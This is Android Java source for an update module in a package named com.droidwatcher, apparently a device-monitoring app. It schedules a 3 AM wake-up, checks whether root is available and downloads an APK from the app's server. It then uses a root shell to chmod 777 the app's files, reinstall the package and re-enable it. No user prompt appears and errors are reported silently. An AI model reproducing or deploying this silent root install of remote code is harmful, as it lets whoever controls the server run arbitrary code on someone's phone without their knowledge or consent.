package com.droidwatcher.modules; import java.io.BufferedInputStream; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; import java.lang.ref.WeakReference; import java.net.URL; import java.net.URLConnection; import java.text.SimpleDateFormat; import java.util.Calendar; import org.acra.ACRA; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.util.EntityUtils; import org.json.JSONObject; import com.droidwatcher.Debug; import com.droidwatcher.ServerMessanger; import com.droidwatcher.SettingsManager; import com.droidwatcher.lib.FileUtil; import com.droidwatcher.receivers.UpdateBroadcastReceiver; import com.stericson.RootTools.RootTools; import com.stericson.RootTools.execution.CommandCapture; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.content.pm.PackageInfo; import android.content.pm.PackageManager.NameNotFoundException; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Handler; import android.os.Message; public class UpdateModule { private Context mContext; private SettingsManager mSettings; private PendingIntent mPendingIntent; private PackageInfo mPackageInfo; private static MyHandler sHandler; public static final String ACTION_UPDATE = "action_dw_update"; private static final long UPDATE_INTERVAL = 24 * 60 * 60 * 1000L; private static final int UPDATE_REQUEST_CODE = 395722; public static final int START_UPDATE = 1; public UpdateModule(Context context){ mContext = context; mSettings = new SettingsManager(context); sHandler = new MyHandler(this); try { mPackageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), 0); } catch (NameNotFoundException e) { Debug.exception(e); mPackageInfo = null; } } public void start(){ AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE); Intent intent = new Intent(mContext, UpdateBroadcastReceiver.class); intent.setAction(ACTION_UPDATE); mPendingIntent = PendingIntent.getBroadcast(mContext, UPDATE_REQUEST_CODE, intent, PendingIntent.FLAG_CANCEL_CURRENT); Calendar calendar = Calendar.getInstance(); if (calendar.get(Calendar.HOUR_OF_DAY) >= 3) { calendar.add(Calendar.DAY_OF_MONTH, 1); // if nowtime after 3:00, schedule update to the next day; } calendar.set(Calendar.HOUR_OF_DAY, 3); calendar.set(Calendar.MINUTE, 0); calendar.set(Calendar.SECOND, 0); alarmManager.setRepeating(AlarmManager.RTC_WAKEUP, calendar.getTimeInMillis(), UPDATE_INTERVAL, mPendingIntent); Debug.i("[UpdateModule] Shedule update at " + SimpleDateFormat.getDateTimeInstance().format(calendar.getTime())); File f = new File(FileUtil.getFullPath(mContext, "update.apk")); f.delete(); } public void dispose(){ try { if (mPendingIntent != null) { mPendingIntent.cancel(); AlarmManager alarmManager = (AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE); alarmManager.cancel(mPendingIntent); mPendingIntent = null; } sHandler = null; } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); } } private void installUpdate(){ try { UpdateCommand command = new UpdateCommand(0, "chmod 777 " + FileUtil.getFullPath(mContext, "*"), "pm install -r " + FileUtil.getFullPath(mContext, "update.apk"), "pm enable com.droidwatcher");//, //"reboot"); RootTools.getShell(true).add(command);//.waitForFinish(); } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } private void downloadUpdate(String fileName) throws Exception{ URL url = new URL(ServerMessanger.SERVER_ADDRESS + "files/" + fileName); URLConnection connection = url.openConnection(); connection.connect(); String path = FileUtil.getFullPath(mContext, "update.apk"); File oldFile = new File(path); if (oldFile.exists()) { oldFile.delete(); } // download the file InputStream input = new BufferedInputStream(url.openStream()); OutputStream output = new FileOutputStream(path); byte data[] = new byte[1024]; int count; while ((count = input.read(data)) != -1) { output.write(data, 0, count); } output.flush(); output.close(); input.close(); } private JSONObject getCurrentVersionInfo() throws Exception{ HttpGet request = new HttpGet(ServerMessanger.SERVER_ADDRESS + "Ver?ver=" + mPackageInfo.versionCode); HttpClient client = new DefaultHttpClient(); request.setHeader("Content-type", "application/json; charset=UTF-8"); HttpResponse response = client.execute(request); if (response != null){ HttpEntity entity = response.getEntity(); if (entity != null) { String data = EntityUtils.toString(entity, "UTF-8"); return new JSONObject(data); } } return null; } private Boolean networkAvailable(){ ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo info = manager.getActiveNetworkInfo(); if (info == null){ return false; } return info.isConnectedOrConnecting(); } private void handleMessage(Message msg){ if (msg.what == START_UPDATE) { if (mSettings.isAutoupdateEnabled()) { new UpdateThread().start(); } } } public static void message(int what){ if (sHandler != null) { sHandler.sendEmptyMessage(what); } } private class UpdateThread extends Thread{ @Override public void run() { if (!RootTools.isRootAvailable() || !RootTools.isAccessGiven()) { return; } if (!networkAvailable()) { return; } Debug.i("[UpdateModule] Start update"); try { JSONObject jVersionInfo = getCurrentVersionInfo(); if (jVersionInfo == null) { return; } int serverVersion = jVersionInfo.optInt("version", mPackageInfo.versionCode); if (serverVersion <= mPackageInfo.versionCode) { return; } downloadUpdate(jVersionInfo.getString("file")); installUpdate(); } catch (Exception e) { Debug.exception(e); ACRA.getErrorReporter().handleSilentException(e); } } } private static class MyHandler extends Handler{ private final WeakReference<UpdateModule> mModule; MyHandler(UpdateModule module) { mModule = new WeakReference<UpdateModule>(module); } @Override public void handleMessage(Message msg) { UpdateModule module = mModule.get(); if (module != null) { module.handleMessage(msg); } } } private class UpdateCommand extends CommandCapture{ public UpdateCommand(int i, String... commands) { super(i, commands); } @Override public void commandCompleted(int id, int exitcode) { Debug.i("[UpdateModule] Update finished"); } @Override public void commandTerminated(int id, String reason) { super.commandTerminated(id, reason); ACRA.getErrorReporter().handleSilentException(new Exception(reason)); } } }